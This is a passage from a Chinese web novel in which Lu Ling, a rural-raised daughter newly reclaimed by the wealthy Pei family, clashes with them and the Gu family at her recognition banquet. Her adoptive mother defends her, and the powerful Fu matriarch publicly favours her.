当然,鹿翎也不是白被人嘲讽的人,她眼神里充满了不加掩饰的嫌弃:“顾夫人,你脑子有问题就去医院好吧,正当你儿子顾景深是个香饽饽吗?只有裴淼淼和你儿子是一对。” 言罢,顾夫人表情一阵青一阵白,像是吃了屎一般难看,指着鹿翎的鼻子,话气得都说不出来。 而恰好在这个时候,顾景深来了。 因为鹿翎比顾夫人高,高出一个头来,顾景深第一眼就看见鹿翎了,不过她对鹿翎这种从山沟沟来的人并不感兴趣,他先是一愣,不过一秒钟后,又皱皱眉,“你怎么在这?” 他似乎是没想到起来,鹿翎是裴家的女儿,而这场宴会自然是为鹿翎准备的认亲宴。 鹿翎不理他,转身就走。 顾夫人像是应激一般,她回头,猛然看向顾景深,不可置信开口:“你认识她?” 顾景深刚想说话,就被顾夫人打断。 她先是恶狠狠地死盯着鹿翎的背影。 实在是没想到这个小丫头片子竟然认识了她的宝贝儿子,这是她万万没想到的。 顾夫人不等顾景深开口解释,拉上顾景深的西装衣袖,踏着八厘米的高跟鞋,蹬蹬蹬地朝酒店内部走去。 顾景深蹙眉,不过也没多说什么。 在他认知里。 除了事业和裴淼淼外,就再也没人能真正走进他的眼中。 —— 鹿翎走到路边,正准备打车离开。 身后又有人突然喊她,声音陌生又熟悉。 她转头都没回,甚至看手机的头都没抬起来,这导致她的后脑勺很容易收到伤害。 这不,很清脆的声音在她头上响起,一阵钝痛从后脑勺传来。 鹿翎皱眉,刚想回头骂人,嘴型都准备好了,当看见后面的人时,她呆愣在原地。 —— 与此同时。 “没人?”裴父眉头紧锁,又仔细扫视一遍,甚至探出头往下看了看,依旧空空如也,“淼淼,你确定从这里掉下去的?” 裴淼淼也愣住了,连忙凑到栏杆边往下看。 看见空荡荡的草坪,瞳孔骤然收缩,脸上惊恐更甚刚才,“怎...怎么会没人?我明明看见姐姐掉下去了,就掉在那边的草坪上!” 她一边说,一边指着草坪中央的位置,语气急切,像是在确认走进没有记错。 裴昊然也走到栏杆边上,向下看了眼,脸色也沉下来。 他本就看鹿翎不顺眼,此刻更是有蹊跷,语气带着几分不耐,“会不会是你看错了?这么大个人,掉下去怎么会一点痕迹都没有?” 裴泽宇也附和道:“我看她就是故意的,说不定是不想参加认亲宴,借机溜走,还想让我们担心!” 在他们看来,鹿翎向来行事古怪,又对裴家没什么感情,做出这种事也不足为奇。 杨丽华听了两人的话,脸色缓和些,语气里的厌烦却更明显了,“我就说她不是个省心的,好好的认亲宴,非要搞出这么多幺蛾子!掉下去?我看是她自己跑了吧,不想给裴家丢脸。” 裴父脸色阴沉得能滴出水来,他再次往下看了看,依旧没发现任何异常。 他心里也犯起嘀咕,鹿翎的本事他是知道的,说不定真的事借机溜走了。 可想起刚刚那声闷响,又觉得不像。 “派人下去仔细找找!”裴父冷声吩咐道,“不管是死是活,都要把人给我找出来。” 保镖们应声而去,纷纷冲进花园草坪,开始仔细寻找。 宾客们站在露台上,议论纷纷,看向裴家人的眼神也变得格外微妙起来。 好好的认亲宴,闹出这样的事,简直是太丢脸了。 裴家的大小姐鹿翎竟然为了不想参加父母为她准备的认亲宴,选择跳楼。 看来不出一天,这个消息就会传遍整个江州豪门圈。 听到这些话,裴淼淼本来还紧张的心情,反而变得格外放松。 在众人看不见的角落,她缓缓勾起嘴角。 让鹿翎丢脸的事,还算是完成了吧。 露台的骚动还在继续,裴父的脸色沉得似乎能滴出水来。 保镖们在草坪里反照半天,连鹿翎的一根头发丝都没找到,宾客见的议论声越发刺耳。 裴淼淼攥着裙摆,正低着头假装抹眼泪,一道挺拔的身影就穿过人群走了过来。 是顾景深。 他的到来让周遭的议论声都小了几分。 谁敢不给顾景深面子。 裴淼淼见状,立马迎了上去,眼眶通红,声音哽咽:“景深哥,你可来了,你有没有看见我的姐姐鹿翎?她刚从露台上掉下去了,我们找了好久都没招到人,我好担心...” 顾景深闻言,眉头蹙着,似乎是现在才想起来今天宴会的主角是谁,眼底闪过一丝惊讶,下意识回道:“你不是在门口妈?我刚进来的时候就看见她站在路边,怎么会从露台掉下去?” 顾景深扫了眼乱作一团的露台,又看了眼裴家人各异的神色,沉声问道:“到底发生什么事了?” 裴泽宇见状,立马把这里发生的事全部说了出来。 他话音刚落,顾夫人也挤了过来。 她刚和顾景深分开没一会,就听到这边的动静。 此刻听完裴泽宇的好,再想起刚才在酒店门口撞见的鹿翎,脸上满是难以置信的惊讶,失声开口:“什么?鹿翎竟然就是你们裴家的大小姐?!” 她万万没想到,这小丫头片子竟然是裴家的大小姐。 而在听完顾景深和顾夫人的话,裴父和杨丽华脸色和表情都难看得吓人,立马走了出去。 与此同时。 路边。 鹿翎正揉着被砸疼的后脑勺,看着眼前突然出现的人,眼底的冷意散了几分,只剩些许无奈。 第29章:余锦诗,鹿翎她妈 “妈!”鹿翎语气带着惊讶。 鹿翎虽有养父母,但她确实名副其实的留守儿童,爷爷奶奶外公外婆也不在乡下,一家子除了鹿翎外,都在外地上班,所以鹿翎那几份婚书大致是在他们在外地的时候,给鹿翎定下的。 而且小时候鹿翎八个月就会自己走,那时候被天恒山说是天才儿童。 但后面鹿翎到了一岁的时候,一个字不会说,简单的单字,比如爸、妈也都不会说。 从天才儿童变成了哑巴儿童。 为此鹿父鹿母去找了不少大医院给鹿翎看病,得到的答案全是统一的: 身体各项发育正常,也没有自闭症,家庭环境也很好,排除环境互动不足,和少数情况,这种情况只能说明孩子单纯不爱说话,想让孩子开口说话,就是在她面前多说话。 在鹿翎三岁时,未明子来了,然后巴拉巴拉说一堆,然后话语最后的重点就是想收鹿翎为徒,鹿父鹿母本来不同意,但爷爷奶奶外公外婆非要鹿翎拜他为师。 说是未明子可以帮助鹿翎开口说话,但他从头到尾没说他可以帮鹿翎治病。 鹿翎爸妈认为还是身体出现了情况,而且这个未明子一看就是江湖骗子。 爷爷奶奶外公外婆则是认为鹿翎是撞了邪,需要这个江湖骗子帮忙。 两代人在那争论三天三夜,最后还是鹿翎爬到未明子的身上,拽着他的山羊胡,说出鹿翎从出生到现在的第一句话: “师父。” 这话一出,一家几口人全部愣住。 到最后还是让鹿翎拜未明子为师。 也就是从拜他为师后,一家人开始外出务工,把只有三岁的鹿翎丢给未明子养。 平时只有节假日和鹿翎重要日子才会回来。 就算鹿翎是留守儿童,一家人也没有减少对鹿翎的爱,而鹿翎的感情对他们也不生疏。 在鹿翎被找回裴家后,一家子人轮番给鹿翎发消息,她一般是已读不回,有时候也会回一两个表情包。 他们也不担心会影响鹿翎对他们自己的感情,至于发的消息,也只是意思意思而已,所以鹿翎才会回那个微笑表情包。 而来人正是鹿翎的养母,余锦诗。 余锦诗见状,立马伸出魔爪,抓向鹿翎的耳朵,拧起来,“小丫头片子,消息也不回,老娘打死你!” 力道不重,但鹿翎还是配合余锦诗,她站起来,捂住她拧自己耳朵的手,装作被拧的龇牙咧嘴开口道:“妈妈妈,轻点,耳朵都要被拧下来了。” 言罢,余锦诗松开手,冷哼一声,白如玉且细长的手戳了戳她的额头,骂道:“你倒是会装得很。” 鹿翎揉了揉鼻子,小声骂道:“那也没有你会装。” 小声还是被余锦诗听见,“小兔崽子你说什么呢?” “没...没什么。”鹿翎抬起头,对余锦诗露出一个还算乖巧的笑容。 看见笑容,余锦诗才算满意,她先是看了看鹿翎全身上下的穿搭,嫌弃瞬间显露出来,开始对鹿翎的衣服指手画脚:“你这穿的什么东西,难看死了。” 鹿翎表情没有一点不耐烦,和对待裴家人完全不一样,“还行吧,对了妈,爸呢?家里其他人怎么没来?” 余锦诗对鹿翎身上这件黑裙子嫌弃得不得了,一边啧啧嫌弃,一边回她的话,“你爸说今天是你的认亲宴,让我来看看,他在工地上干活,你爷爷奶奶外公外婆也在上班。” 鹿翎任由她在自己身上比画,本来还疑惑她是怎么知道今天是自己的认亲宴,话到嘴边,又硬生生憋了回去。 裴父带着杨丽华、裴昊然等人急匆匆冲出酒店,刚到门口就看见不远处树荫下,鹿翎正在和一个女人说话。 那女人穿着简约的纯棉衬衫和阔腿裤,婶子窈窕挺拔,乌黑的长发松松挽在脑后,露出光洁饱满的额头和线条流畅的脖颈。 她的皮肤是健康透亮的白皙,眉眼精致明艳,眼尾微上挑,带着浑然天成的俏意,明明有四十多接近五十岁的年纪,看起来却不过四十出头的模样,浑身透着一股自然爽朗的灵气,半点没有乡妇女的局促和土气。 “鹿翎!”裴父沉声开口,脚步不停朝这边走来,“你到底在搞什么?知不知道大家都在找你!” 鹿翎闻声转头,看见裴家人气势汹汹的模样,眉头微蹙,回头对余锦诗说道:“妈,你先回去,这里的事我自己知道处理。” 说着,她不知道从哪变出一个小布包,里面装着的是几块打磨光滑的玉牌护身符,递到余锦诗面前:“这是我雕刻的护身符,你们每人一块,贴身戴着,能挡三次灾祸。” 听到妈这个称呼,杨丽华先是一愣,发觉这声并不是在叫自己,她不敢相信地看着鹿翎,好似心脏被什么东西攥住,气得浑身发抖。 她尖声喊道:“鹿翎!我才是你妈!你喊谁妈呢?” 而这声称呼,自然也落到裴家其他人的耳朵里,皆是皱眉,眼神中带着不赞同。 可两人理都不带理她的。 余锦诗随手把东西揣进兜里,挑眉道:“行,那你自己注意点,裴家这群人要是敢欺负你,给妈打电话,妈带人掀了他的别墅。” 她声音清亮,故意说得让走进的裴家人听得一清二楚。 杨丽华本来就憋了一肚子的火,刚刚又听到鹿翎那一声原本该落在她耳朵里,却被旁人夺去的愤怒中。 此刻见到余锦诗这副样子,还敢口出狂言,当即冷笑出声:“你就是鹿翎在乡下的养母?还真是物以类聚,果然是乡下出来的,说话这么粗鄙,也不看看这是什么地方,也敢大放厥词!” 裴昊然也皱眉,眼神轻蔑地扫过余锦诗,“阿姨,说话注意分寸,裴家人还轮不到外人来撒野。” 裴淼淼跟在后面,故作柔弱地开口:“这位阿姨,我知道你心疼姐姐,但裴家也没有欺负姐姐,你别这么激动...” “激动?”余锦诗直接打断她,眼尾一挑,火力全开,“我女儿好好的认亲宴,被你们折腾得差点从四楼掉下去,现在你们还好意思说没欺负她?我看你们裴家才是没分寸。” 第30章:火力全开的鹿翎 所有人的注意力全部被怒火替代,丝毫没注意到余锦诗说的什么话。 但鹿翎却听得清清楚楚,听到这,她微微挑眉。 余锦诗上前一步,气场全开,开始怼鹿翎这个亲妈:“你还是她的亲妈,亲妈不站在自己亲生女儿身边就算了,女儿出了事不担心也算了,竟然还嫌她丢人,我要是你,早就找个地缝钻进去!还有你,” 她转头看向裴昊然和裴泽宇两人,“当哥的不护着自己妹妹,还帮着外人欺负她,裴家的教养就是这样?还是换做我儿子,我不把他们赶出鹿家,我不信余!” 最后,她目光落在裴淼淼身上,眼神锐利如刀,“小姑娘年纪不大,心思倒挺深,我女儿掉下去,你怕是心里偷着乐吧?别在这装可怜,看着就恶心。” 余锦诗语速又快又狠,句句戳中要害,怼得裴家人脸色一阵青一阵白,竟然没人接得上话。 杨丽华气得浑身发抖:“你...你胡说八道什么?淼淼怎么可能盼着鹿翎出事,她就是鹿翎的妹妹!” “是不是胡说,你们自己心里清楚,”余锦诗嗤笑一声,“我女儿是什么样的人,我比你们都清楚,她从小就懂事,要不是被逼急了,绝不会闹成这样!今天我把话放这了,鹿翎是我余锦诗的女儿,谁敢动她一根手指头,我不管你们是什么豪门家庭,我照样让你们吃不了兜着走。” 鹿翎站在一旁,看着余女士火力全开的模样,冰冷的眸子闪过一丝笑意,抬头轻轻拉了拉余锦诗的衣袖,“妈,别跟他们浪费口色,你先回去吧。” 余锦诗瞪了裴家人一眼,冷哼一声:“算你们运气好。” 她转头看鹿翎,“有事一定给我打电话,别硬抗。” 说完,她转身就走,没有丝毫留恋。 裴家人看余锦诗的背影,又看向鹿翎,脸色难看到了极点。 裴父沉声道:“鹿翎!你看看你养母,怎么这么没有规矩!还有,以后不准给你养母一家见面,你才是裴家的女儿。” 鹿翎闻言,冷笑一声:“为什么?因为你们生过我?还是因为怕我和我妈丢了你们裴家的脸?” 杨丽华被气得脸部扭曲,好好一个贵妇,现在面部难看得很。 从余锦诗怼杨丽华开始,她一直在积攒情绪,现在听到自己亲生女儿在喊一个乡野村妇为妈后,积攒的情绪一下子喷发出来,声音尖厉且失控:“鹿翎!我才是你妈!我才是生你的人!你管谁叫妈呢?” “那又怎样?”鹿翎语气冰冷刺骨,眼神是十分明显的不耐烦和烦躁,“养恩难道比生恩大?我求你们生我了?” “我真搞不懂了,早不找晚不找,偏偏等我十八岁成年后就来找我了,我寻思这你们裴家也不是缺钱的啊,成年了找我回去干什么?想要我身体各部位器官还是其他什么?” “你们是受虐狂吗?一天到晚看不惯我,还要把我接回来干什么?” 鹿翎对着他们裴家一顿输出,裴家人被余锦诗这个乡野妇人怼完后,又被自己亲生女儿连珠炮般的质问怼,脸色红橙黄绿青蓝紫,都快成调色盘了。 但依旧没人接话,无言以对,不知道是不是因为怼不过,还是因为鹿翎说的就是事实。 说完了,鹿翎脸上的笑容都多了不少,这应该是裴家人的笑意全部转移到鹿翎脸上了吧。 其中,最难看的就是裴淼淼了,眼底的怨毒几乎要溢出来。 她精心维持的柔弱形象被余锦诗和鹿翎接连戳破,此刻在众人面前狼狈不堪,满心的委屈与愤怒无处发泄。 就在这时,顾景深和他妈顾夫人从酒店里走出来。 顾夫人刚就听说鹿翎就是裴家大小姐,脸上还带着几分难以置信的错愕,看向鹿翎的眼神复杂极了。 顾景深则是皱着眉,目光扫过神色各异的裴家人,最后落在裴淼淼身上,语气里带着几分关切:“淼淼,到底怎么回事?” 裴淼淼像是抓住救命稻草一眼,眼泪瞬间涌出来了,快步扑到顾景深面前,紧紧抓住他的胳膊,声音哽咽得不成样子:“景深哥,你可算来了!鹿翎她简直太过分了,不仅不承认爸妈,还辱骂我们裴家,说我们找她回来是为了她的身体,她这么能怎么污蔑我们!” 她一边说,一边抹眼泪,肩膀微微颤抖,一副受了天大的委屈的样子,“还有她那个养母,上来就对我们恶语相向,一点规矩都没有,鹿翎还帮着外人一起欺负我们,我们到底哪里对不起她...” 顾景深闻言,眉头皱得更紧了,看向鹿翎的眼神瞬间冷了下来,语气带着几分不耐烦和指责,“鹿翎,淼淼她心思单纯,裴家也待你不薄,你怎么可以说出这般伤人的话?” 顾夫人也在一旁附和,眼神轻蔑地扫过鹿翎,“果然是乡下来得,一点教养都没有,裴家好心找你回来,你不感恩就算了,还反过来污蔑,真是白眼狼。” 鹿翎实在是不想应对他们这些脑子有问题的人,“你们脑子有问题就去医院精神科看看好吗?我说的话你们是耳朵聋了吗?” 鹿翎的话像是一记耳光,狠狠扇在顾景深和顾夫人脸上,两人脸色瞬间阴沉得能滴出水来。 顾景深周身气压骤降,眼神冷得像冰刃,“鹿翎,说话注意分寸!” 他从未被人如此直白地辱骂,尤其是在裴家人面前,还是在他未婚妻裴淼淼面前,简直是颜面尽失! 顾夫人更是气得浑身发抖,指着鹿翎的鼻子,声音尖厉刺耳:“你这个没教养的野丫头!你...你...” “你什么你?年纪轻轻,也才四十多岁,连个话都说不清楚了?”鹿翎翻个白眼,实在是不想和他们争论,转身就走。 顾景深可不想被人平白无故骂一遍,他现在窝着气,不好好出口气是要得病的。 “鹿翎!你给我站住!” “景深,你给我离她远点!” “小师傅,你怎么在这?” 第31章:丢尽脸面 三道声音同时响起。 第一道声音很明显是顾景深的。 第二道就是顾景深他妈。 第三道声音挺熟悉的,鹿翎转头看去。 是傅荣华和傅宛然两人。 就在这个时候,顾景深抓住鹿翎的手臂,一只手就要把鹿翎提起来,脸色难看得很,“鹿翎,我是不是给你脸了?” 顾夫人也冲上来,抬起头,正要狠狠一巴掌甩过去时,一只洁白如玉的手拦住她:“顾大少在大庭广众之下就要打人吗?” 突生变故,鹿翎也借此挣脱开顾景深的手,她抬眼,反手一巴掌甩在顾景深脸上。 “啪”的一声巨响。 众人被这道声音吓愣住了。 就连顾景深本人也被这突如其来的疼痛和声音也呆在原地。 顾夫人反应过来,尖叫一声:“啊——!” 她目眦欲裂,双手扑上来,就要拉扯鹿翎,傅宛然挡住她,似乎是第一次见这种泼妇,她皱眉,转头看向傅荣华,不解地问道:“奶奶,你确定裴家的认亲宴是在这吗?怎么看见的全是些泼妇。” 泼妇两个字算是刺激到自认为自己很高贵的顾夫人了,她面部表情更加扭曲,不在对付鹿翎,而是把矛头指向傅宛然:“你个小贱蹄子,在骂谁呢?” “谁应就是谁呗。”傅宛然翻了个白眼。 而裴淼淼也不可能光站在看自己未婚夫被人打一巴掌,自己身为未婚妻却什么都不做,她上前几步,眼眶泛红地抚上顾景深的脸:“景深哥,你没事吧?” 说完,她眼神愤愤看向脸上没什么表情的鹿翎,像是要把鹿翎千刀万剐般,“鹿翎!你凭什么打他!就算你不喜欢我,那也不能打景深哥!” 鹿翎理都不理她,而是看向为她解围的傅荣华傅老夫人身上,“谢谢。” 傅荣华脸上洋溢起笑容,她摆摆手:“没事,举手之劳而已。” 她先是看了眼裴家主角裴父一行人,视线又落在身穿黑色礼裙的鹿翎,“小师傅,你也来参加裴家的认亲宴吗?” 鹿翎挑眉,点点头。 那不是,她还是今天的主角。 傅宛然实在是不想招架顾夫人,连忙把保镖叫过来,架住顾夫人,她理了理自己身上被挠乱的礼服,嫌弃地皱起眉头:“还真是泼妇,一点都没有贵妇人的形象。” 顾夫人本来就没什么力气,被这一句话刺激得又要伸手抓傅宛然。 但傅宛然的保镖也不是白跟过来的,觉察出有这个意图,立马架住顾夫人。 傅宛然整理好衣裙后,乖乖回到傅荣华身边。 杨丽华本来想上前指责鹿翎,但被旁边的裴父拉住手腕,她着急又不解地看向裴父:“天逸,你拦住我干什么,你看我不教训那个小白眼狼!” 说着,她又要上前,还是被拦了下来。 裴天逸皱紧眉头,“丽华,你仔细听刚刚鹿翎喊那位老妇人喊什么?” 杨丽华虽不明所以,但还是回想刚刚鹿翎说的全部话,回道:“好像是叫什么傅老夫人...” 话音刚落,两人猛然反应过来,面面相觑。 别看他们请了不少江州的豪门,但真正的豪门是不会轻易出来的,也不会轻易参加他们这种宴会。 不来参加并不代表不会送请帖,万一碰巧这些豪门就会出来呢? 而这次他们请的就有四大豪门之一的傅家,现任江州傅家的掌权人是一位七十多岁的老妇人,这位傅老妇人别看有这么大把年纪,但她的手段,江州有些豪门都比不上。 而且听说这个傅家还是从京城那个傅家旁支分下来的,要是和江州傅家打好关系,那么京城那边也不用担心了。 他们就有打入京城豪门圈的资本了。 本来以为傅家是不会来了,但没想到会来,来得还是最晚的一个。 让裴家人没想到的是,这位老夫人竟然和他们找回来的女儿鹿翎看起来还是很熟的模样。 叫鹿翎什么? 小师傅? 见状,裴天逸立马上前刷存在感:“傅老夫人您好,我是这场宴会的主人,裴天逸,这位就是我的女儿鹿翎。” 他第一件事就是说明他是举办这场认亲宴的主人。 第二件事点名她面前这位就是认亲宴的主人公,也就是自己的女儿鹿翎。 裴天逸脸上堆起极尽谄媚的笑,伸手想和傅荣华相握,姿态放得低,眼底满是对傅家权势的渴求。 傅荣华却只是淡淡瞥他一眼,连手都没抬,目光依旧停留在鹿翎身上,语气亲和:“小师傅,早知道你是今天的主角,我就该备份厚礼来的。” 这话一出,裴家人的脸色瞬间变得格外难看,裴天逸伸出的手僵在半空,收也不是,不收也不是,尴尬的指尖都在发烫,脸色几经变化。 杨丽华更是惊得瞪大眼睛,她怎么也想不到,这个从山沟沟里面出来的女儿,竟真的认识傅家这位大人物,还被对方以“小师傅”相称。 顾夫人也愣住,挣扎的动作都停了,看向鹿翎的眼神从鄙夷变成难以置信。 顾景深像是被鹿翎那一巴掌打傻了一样,还站在原地,连手摸脸的姿势都没变过。 江州谁不知道傅家的分量,连裴家都要费尽心思攀附,鹿翎一个从乡下出来的丫头,怎么会和傅老夫人册上关系,还这般亲近? 裴淼淼更是如遭雷击,她死死攥住裙摆,指甲嵌进掌心,心底的嫉妒和不甘几乎要将她吞没。 本来她打算让她在这场全是豪门的宴会中丢尽脸面,让爸爸妈妈把她赶出裴家,没想到鹿翎毫发无损外,还让自己和裴家丢尽脸面,被一个乡野村妇羞辱。 这一下,反倒让她和裴家成了笑话。 鹿翎淡淡瞥了一眼裴天逸,语气毫无波澜,甚至还带了嘲讽,“傅老夫人客气了,我也不过走个过场,既然没什么事,我那就是先走了。” 听鹿翎要走,本来是来参加宴会的傅荣华两人也没有在这待下去的必要了。 “既然小师傅要走,刚好,我们也要走,你住哪,我让司机送送你。”傅荣华试探性开口。 “那多谢好意。”鹿翎挑挑眉,没拒绝。 说完,她便跟着傅荣华转身离开,连一个眼神都没留给陪家人。 傅宛然瞥了一眼呆立站原地的裴家众人和顾家人,嗤笑一声,快步跟上去。 看着鹿翎和傅荣华离去的背影,裴天逸脸色阴沉得能滴出水来。 他知道,这次不仅没能借认亲宴让鹿翎认下裴家,反倒还得罪了傅家,更是让裴家在江州豪门圈丢尽脸面。 第32章:傅荣华老夫人 车上,鹿翎并不打算回裴家,今天闹出这么大的事,裴家那行人又要在自己面前说自己从乡下来的,给裴家丢脸了啥啥啥的。 鹿翎才来一个星期,就已经精确的知道裴家那行人会对自己说什么话。 她在网上搜了哪家的酒店服务态度好,定了一家五星级酒店。 打算让傅荣华送她到那。 车里傅荣华和傅宛然相顾无言,气氛有些尴尬。 傅荣华给傅宛然使眼色,让她开口先说话。 傅宛然伸出手,指了指自己,表情有一些茫然和震惊,从眼神就能看出她在对傅荣华说: 我?奶?你在说我吗? 你知道我和这个鹿翎在前期的时候很不对付吗? 但碍于傅老夫人的长辈威压,傅宛然撇撇嘴,目光里全是对傅荣华的不满,她轻咳一声,别捏对鹿翎开口:“小...” 话还没说话,自己的腿就被踢了一脚。 傅荣华警告地瞪了她一眼,傅宛然没说话,第一次没叫鹿翎小丫头骗子,而是十分正经地说:“咳...鹿翎小姐,你等会要回裴家吗?” 这是她唯一能想到的话题。 总不能一上来就把人家带回自己家吧,总得问问别人去哪啊。 鹿翎挑眉,似乎是很震惊。 毕竟傅宛然这是第一次和她这么心平气和说话。 “去希尔顿酒店。”鹿翎开口。 傅宛然点点头,对前排司机说道:“王叔,听到了吗?去希尔顿酒店。” “好嘞!”王叔笑呵呵地将车开进另一条大路上。 然后... 就没有然后了。 气氛再次陷入寂静。 傅荣华眼神又开始示意傅宛然说开场白,但傅宛然立马摇摇头,用口型对奶奶说道:我才不要,你自己去。 说完,她就转过头,看手机,不再看傅荣华。 傅荣华恨铁不成钢地看了傅宛然一眼。 傅宛然不说话,只有傅荣华调解气氛。 “小师...” “叫我鹿翎便好,傅老夫人。”鹿翎突然打断傅荣华的话,“我是小辈,让您一个长辈叫我小师傅,还是算了吧。” 傅荣华一愣,随后笑了笑:“什么还是算了,你是我的救命恩人,这声小师傅,你担得起。” 鹿翎笑笑没说话。 场面因为鹿翎的打断,再次陷入沉默。 只能说鹿翎冷场的本事还是有一绝的。 傅荣华看向傅宛然,傅宛然耸耸肩。 而这时,希尔顿酒店就到了。 王叔:“鹿翎小姐,酒店到了。” 鹿翎点点头,推开门下车,傅荣华刚想开口说话,就又被鹿翎抢先一步:“家里有异样请联系我工作号,我包售后五年。” 说完,不在给傅荣华反应机会,立马就走。 傅荣华看着鹿翎离开的背影,想说什么又没说出口。 鹿翎下车后,莫名地松口气。 她今天实在是太累了,不想和任何人多说一句话,所以才连着打断傅荣华两次说话。 鹿翎到酒店门口,身份证递给前台,她在网上开了间豪华套房,本来想开总统套房的,但一看价格,算了算了,也不为了委屈自己,选了豪华套房。 一共三晚,到时间就回裴家。 委屈谁都不能委屈自己。 —— 这边。 酒店。 裴家五口和顾家两母子离开酒店。 顾景深还是像个傻子一样,顾夫人怎么找他说话,他都不带理人的,像是被鹿翎那一巴掌打傻了一样。 顾夫人一看她儿子这个样子,人都要被气死了,只能愤愤说道:“都怪鹿翎那个惹事精,我看她就是因为我把她婚退了,又想缠上你!” 听到退婚两个字,顾景深眼神一下子就亮起来,整个人像是恢复精气神一般,眼神亮闪闪地看向顾夫人:“妈,你说什么?什么退婚?” 顾夫人被他这个回神速度吓了一跳,她眼神狐疑地看着顾景深,解释前几天鹿翎拿着婚书来找自己退婚的事。 把那天的事全部完完整整说了一遍。 越听到后面,顾景深的眼神就越亮。 说到最后,顾夫人还在说鹿翎的坏话,最后还警告顾景深:“我告诉你,你给我离那个鹿翎远一点,乡巴佬一个。” 顾景深没说话。 只从他问了一句后,就再也没说话了。 —— 裴家。 裴家结完账回别墅,五人的表情都是很难看的。 都像是打翻了调色盘一样,五彩缤纷。 回到家后,还是没人说话,最终还是裴天逸最先开口问张婶:“大小姐还没回来吗?” 这一声大小姐把在场人都雷住了。 “大...小姐?大小姐不是在这吗?”张婶有些不明白裴天逸为什么还问这种问题。 淼淼小姐不是在面前吗? 怎么还再问大小姐去哪了? 只有另外四个人知道裴天逸说的大小姐是谁。 杨丽华的脸色白了又青,青了又白,几乎是咬牙切齿开口:“还叫那个小贱人大小姐干什么?她今天让我们裴家在豪门圈丢了这么大的脸!我真不明白,把她接回来干什么?这简直是扫把星来的!” 杨丽华的话引起公愤。 “就该让她烂在乡下。”裴昊然是公司未来的第一继承人,他不敢相信如果鹿翎真的回到裴家,改裴家的姓,成裴家的人,那他以后不知道要丢多大的脸。 “就是就是,一天到晚只知道惹事。”裴泽宇的想法和他哥裴昊然一样,但他更多的是不屑。 毕竟继承公司的不是他。 裴耀阳是三兄弟中火气最大的一位,只从鹿翎回来后,他被一个乡下人羞怒就算了,还因为她,自己腿断了。 本来今天还想让她在整个豪门圈丢人的,没想到今天晚上丢脸的却是自己。 他一句话都没说,但脸部表情已经说明他现在很愤怒。 几人当属平静的就是裴淼淼和裴天逸。 现在鹿翎在裴家的处境是对自己有利的,只有她现在再多说几句维护鹿翎的话,贬低自己,那裴家其他人对鹿翎的想法和态度就越来越差,只有到后面再加一把火。 那么,鹿翎被赶出裴家的几率就会大大提高。 但是令她不明白的事,裴家丢脸丢成这个样子了,为什么裴天逸还不说出把鹿翎赶回乡下的话。 裴淼淼期待的眼神看向裴天逸,希望他下一句就说把鹿翎赶回去的话了。 但往往先是比想法要残酷。 “明天去找鹿翎,找她道歉。” 第33章:救人 这番话一出,气氛瞬间凝固。 杨丽华第一个持反对意见,她脸色铁青,斩金截铁开口道:“不行,凭什么我们给她道歉?” “就她?也配?”裴泽宇也是很不服气。 鹿翎今天给裴家丢了这么大的脸,竟然还让他们给那个扫把星道歉? 门都没有! 三兄弟中,裴耀阳脾气最大,“不行!不能给那个土包子道歉!爸!她今天给我和裴家丢了这么大脸!几乎让我们颜面尽失,凭什么还要给她道歉,要我说,我们就不该把这个白眼狼回来,就该让她烂死在山沟沟里!” 裴天逸没说话,眼神阴沉地扫向所有人,“大家都不愿意道歉?” 谁都没说话。 这个态度已经表明,没人愿意去给鹿翎道歉。 她做出这么恶心的事,还想让他们给她道歉? 没杀了她就不错了! 裴耀阳见此,还以为他爸妥协了,洋洋得意,继续嘲讽:“她这种人刚刚该把她推下去四楼去,让她摔死在酒店里!啊——” 裴耀阳话刚说完,紧接着就是一声惨叫,裴耀阳捂住被打偏的脸,一脸不可置信地看着地板。 这一声惨叫让裴昊然三兄妹身体一哆嗦。 杨丽华见状,叫了一声后,上前几步连忙护住裴耀阳,眼神十分不赞同:“老公!你打他干什么,耀阳本来说的就是事实。” “打他一个不知天高地厚。”裴天逸表情像是吃了屎一样难看,转头就把矛头指向杨丽华这个家庭主妇,“你是这么教养裴耀阳的,一天到晚不是乡巴佬就是土包子,要死要活的,鹿翎是他亲姐姐!谁家弟弟这么敢对姐姐说话?” 他扫视一圈,语气是前所未有的凝重,胸脯剧烈起伏,像是被气急了般,“我告诉你们,这个歉不道也得道,如果让我在听到把鹿翎赶出家门,乡巴佬,土包子一类的话,自己给我滚出去!” 说完,他再次施以眼神威压。 直到众人都不敢抬头对上裴天逸的眼睛后,他才冷哼一声,转身上楼。 裴耀阳这才反应过来,脸上的疼痛在提醒他,小时候最疼爱的父亲,竟然为了一个刚接回来,在家待了一个星期的人把他给打了,还是最具有侮辱性的扇巴掌。 此刻的他像是无能的丈夫一般,只能捶打来发泄心中不满。 甚至还怕裴天逸听见,打的还是沙发上的枕头。 杨丽华招来张婶,让她煮一个鸡蛋来给他滚脸。 裴耀阳受不了气,杵着拐杖就上了楼。 在裴天逸离开客厅,裴昊然三兄妹聚集在一起。 裴泽宇问:“哥,我们明天真要去找鹿翎给她道歉?” 裴昊然冷笑一声:“不道歉能怎么办,你们又不是没看见刚刚爸的态度,要是等鹿翎回来,爸来问一嘴,鹿翎说没有,那我们几个岂不是又要被他骂一顿?” 裴淼淼小声道:“大哥你都这么大了,还要承受爸的怒火吗?” 这话一出,气氛瞬间凝固,裴昊然脸瞬间拉下来,“行了,明天我就让人去找鹿翎,我们一起去给鹿翎道歉。” 裴泽宇瞪大眼睛:“我也要去吗?我才不去。” 裴淼淼也想摇头,但对上裴昊然冷沉的脸,还是没有说明,唯唯诺诺地点点头。 “你不去?难道还等着耀阳那小子去吗?”裴昊然道,“都早点休息,明天有消息我在给你们说。” 走到楼梯间时,他微微偏过头,语气里带着警告:“明天最好不要再出事,我可不想在听到爸来教育我们。” 裴淼淼和裴泽宇两人面面相觑,没敢说什么。 家里,除了裴父裴天逸外,就只有裴昊然最有话语权。 ——— 与此同时。 鹿翎拿到房卡,坐电梯上了豪华套房所在的楼层。 五星级酒店不愧是五星级酒店,豪华套房不愧是豪华套房。 这还是鹿翎第一次住豪华套房。 推开厚重的实木门,大理石地面过渡到柔软的羊毛地毯,客厅极为宽敞。 落地窗占据整面墙,两百七十度江景一览无余。 中央是定制的L型沙发组,主卧是静谧的私享国度,还有全幅铺设名贵大理石。 豪华套房都这么高级,不知道总统套房还要这么奢华。 浴室分窗前和屋内。 窗前就是浴缸,屋内就是淋浴。 鹿翎没有在窗前洗澡的习惯,她身上也没有带多余的衣服,打算等会下去买一身。 